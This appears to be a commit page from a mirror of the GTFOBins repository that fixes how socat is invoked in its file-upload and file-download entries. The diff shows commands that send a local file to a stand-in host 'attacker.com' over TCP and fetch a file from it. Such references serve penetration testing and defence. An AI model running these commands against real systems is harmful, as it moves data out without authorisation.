mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Fix socat invocation
This commit is contained in:
parent
b56bd683c9
commit
c82955d93c
@ -29,12 +29,12 @@ functions:
|
|||||||
RHOST=attacker.com
|
RHOST=attacker.com
|
||||||
RPORT=12345
|
RPORT=12345
|
||||||
LFILE=file_to_send
|
LFILE=file_to_send
|
||||||
./socat -u file:$LFILE tcp-connect:$RHOST:$RPORT
|
socat -u file:$LFILE tcp-connect:$RHOST:$RPORT
|
||||||
file-download:
|
file-download:
|
||||||
- description: Run ``socat -u file:file_to_send tcp-listen:12345,reuseaddr`` on the attacker box to send the file.
|
- description: Run ``socat -u file:file_to_send tcp-listen:12345,reuseaddr`` on the attacker box to send the file.
|
||||||
code: |
|
code: |
|
||||||
RHOST=attacker.com
|
RHOST=attacker.com
|
||||||
RPORT=12345
|
RPORT=12345
|
||||||
LFILE=file_to_save
|
LFILE=file_to_save
|
||||||
./socat -u tcp-connect:$RHOST:$RPORT open:$LFILE,creat
|
socat -u tcp-connect:$RHOST:$RPORT open:$LFILE,creat
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user